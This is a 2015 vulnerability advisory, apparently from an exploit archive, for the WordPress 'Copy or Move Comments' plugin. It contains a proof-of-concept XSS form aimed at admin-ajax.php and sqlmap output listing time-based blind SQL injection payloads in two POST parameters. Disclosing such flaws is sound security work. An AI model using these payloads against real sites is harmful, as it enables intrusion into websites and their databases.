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WordPress Copy Or Move Comments 1.0.0 Cross Site Scripting

WordPress Copy Or Move Comments 1.0.0 Cross Site Scripting
Posted Jul 30, 2015
Authored by Morten Nortoft, Kenneth Jepsen, Mikkel Vej

WordPress Copy or Move Comments plugin version 1.0.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | d5dc03a859f2cbc03075c1f52e9818d4

WordPress Copy Or Move Comments 1.0.0 Cross Site Scripting

Change Mirror Download
Title: WordPress 'Copy or Move Comments' Plugin 
Version: 1.0.0
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-16
Download:
- https://wordpress.org/plugins/copy-or-move-comments/
- https://plugins.svn.wordpress.org/copy-or-move-comments/
Notified WordPress: 2015-06-21
==========================================================

## Plugin description
==========================================================
Using Copy/Move WordPress Plugin the admin can copy or move any comment from several types of pages to any other page!

## Vulnerabilities
==========================================================
Two POST parameters are printed unsanitized on the plugins admin page.

PoC:
Log in as admin and submit the following form:
<form method="POST" action="[URL]/wp-admin/admin-ajax.php">
<input type="text" name="action" value="get_all_posts" readonly><br />
<input type="text" name="post_type" value="'</script><script> alert(1)</script>"><br />
<input type="text" name="action_type" value="'</script><script> alert(2)</script>"><br />
<input type="submit">
</form>

Some of the SQL queries are exploitable from the admin page.

SQLMAP log snippet:
POST parameter 'source_post' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
...
POST parameter 'target_post' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 174 HTTP(s) requests:
---
Parameter: source_post (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: option_page=copy-move-settings-group&action=update&_wpnonce=5fd9b35c58&_wp_http_referer=/projects
/wp422/wp-admin//admin.php?page=copy-move%26error=1&copy-move=move&all_post_types=post&source_post=1 AND (SELE
CT * FROM (SELECT(SLEEP(5)))HzuL)&move_comment_id[]=1&target_post=10&action=action_move

Parameter: target_post (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: option_page=copy-move-settings-group&action=update&_wpnonce=5fd9b35c58&_wp_http_referer=/projects
/wp422/wp-admin//admin.php?page=copy-move%26error=1&copy-move=move&all_post_types=post&source_post=1&move_comm
ent_id[]=1&target_post=10 AND (SELECT * FROM (SELECT(SLEEP(5)))kBfe)&action=action_move
---



## Solution
==========================================================
No fix available

==========================================================
Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.

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